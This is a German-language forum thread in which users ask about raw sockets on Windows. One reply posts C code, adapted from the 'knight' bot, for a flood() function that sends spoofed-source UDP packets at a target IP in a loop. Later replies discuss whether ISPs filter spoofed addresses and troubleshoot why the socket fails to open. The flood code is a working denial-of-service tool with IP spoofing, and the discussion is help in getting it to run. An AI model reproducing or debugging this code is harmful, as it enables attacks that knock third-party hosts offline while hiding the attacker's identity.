rawsockets unter windows?



  • hi.
    Meine frage lässt sich ja schon aus dem titel ableiten 😉
    genauer: ich weiß nicht wo ich die ganzen structuren finden kann für rawsockets
    (iphdr etc.).
    In welchen files sind die, oder heißen die vielleicht auch anders?
    thx



  • proof of concecpt code 😃

    vieles aus knight übernommen und windows tauglich gemacht 🙂

    struct ip { //struct 1:1 von knight geklaut
        unsigned int ip_hl:4;
        unsigned int ip_v:4;
        unsigned char ip_tos;
        unsigned short ip_len;
        unsigned short ip_id;
        unsigned short ip_off;
        unsigned char ip_ttl;
        unsigned char ip_p;
        unsigned short ip_sum;
        struct in_addr ip_src, ip_dst;
    };
    
    struct udphdr_ { //struct 1:1 von knight geklaut
    	unsigned short source;
    	unsigned short dest;
    	unsigned short len;
    	unsigned short check;
    };
    
    unsigned short checksum(unsigned short *buffer, int size)
    {
      unsigned long cksum=0;
    
      while(size >1)
      {
        cksum+=*buffer++;
    	size -=2;
      }
    
      if(size)
      {
        cksum += *(unsigned char*)buffer;
      }
    
      cksum = (cksum >> 16) + (cksum & 0xffff);
      cksum += (cksum >>16);
      return (unsigned short)(~cksum);
    }
    
    int flood(char *whom, int seconds)
    {
    	int s,gay;
    	unsigned short psize;
    	struct sockaddr_in addr;
    	struct packet {
    		struct ip ip;
    		struct udphdr_ udp;
    		char *buf;
    	} packet;
    
    	if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) //rawsocket erstellen                        
    	{
    		return 1;
    	}
    
    	addr.sin_family = AF_INET;
    	addr.sin_addr.s_addr = inet_addr(whom); //target
    
    	psize = 1500-(sizeof(struct ip)+sizeof(struct udphdr_)); //packetsize aufs max festlegen
    	packet.buf=(char*)malloc(psize);
    	memset(packet.buf,10,psize);
    
    	//paar einstellungen
    	packet.ip.ip_hl = 5;
    	packet.ip.ip_v = 4;
    	packet.ip.ip_tos = 0; //type of service
    	packet.ip.ip_len = 1500; //gesamtlänge des packets
    	packet.ip.ip_off = 0;
    	packet.ip.ip_p = 17; //protokoll
    	packet.ip.ip_ttl = 64; //time to live
    	packet.ip.ip_dst.s_addr = inet_addr(whom); //target
    	packet.udp.len = htons(psize); //länge des udp packets
    	packet.udp.source = rand(); //udp sourceport
    	packet.udp.dest = htons(22); //udp targetport
    
    	packet.udp.check = checksum((unsigned short *)&packet,1500); //checksumme des udp packets
    
    	packet.ip.ip_src.s_addr = inet_addr("207.46.134.222"); //ms floods you
    	packet.ip.ip_id = rand();
    
    	packet.ip.ip_sum = checksum((unsigned short *)&packet,1500); //checksumme des ip packets
    
    	addr.sin_port = packet.udp.dest;
    
    	time((time_t *)&gay);
    
    	while((time(NULL)-gay)<seconds)
    		sendto(s,(char*)&packet,1500,0,(struct sockaddr *)&addr,sizeof(addr)); //udp packet senden
    
    	return 0;
    }
    


  • schön und gut.
    Aber bei mir kann er den sock net aufmachen ...
    kA why, WSAGetLastError() haut fehlercode '6' raus, was auch immer das heißen mag :>



  • Gibt es eigentlich noch irgendeinen isp in deutschland (oder auf der ganzen welt) der sowas

    packet.ip.ip_src.s_addr = inet_addr("207.46.134.222");
    

    zulässt? Der also kein egress filtering durchführt?



  • soweit ich mitbekommen habe, wird das nicht geprüft.
    Aber das hat doch wohl ganix mit meiner frage zu tun.
    Wie wir alle wissen wird code von oben nach unten ausgeführt.
    Und das problem liegt wohl etwas weiter oben.



  • 6 (0x00000006): ERROR_INVALID_HANDLE: The handle is invalid.

    wann genau kommt der error



  • der error kommt genau bei:
    if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    wobei ich das umgeformt habe zu:

    s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if(s == -1) { return 1; }
    

    aber da sind ja keine unterschiede



  • Vielleicht hilft die das hier weiter 🙄
    Vorher musst du imho auch noch WSAStartup aufrufen - evtl. statt socket auch WSASocket 😕


Anmelden zum Antworten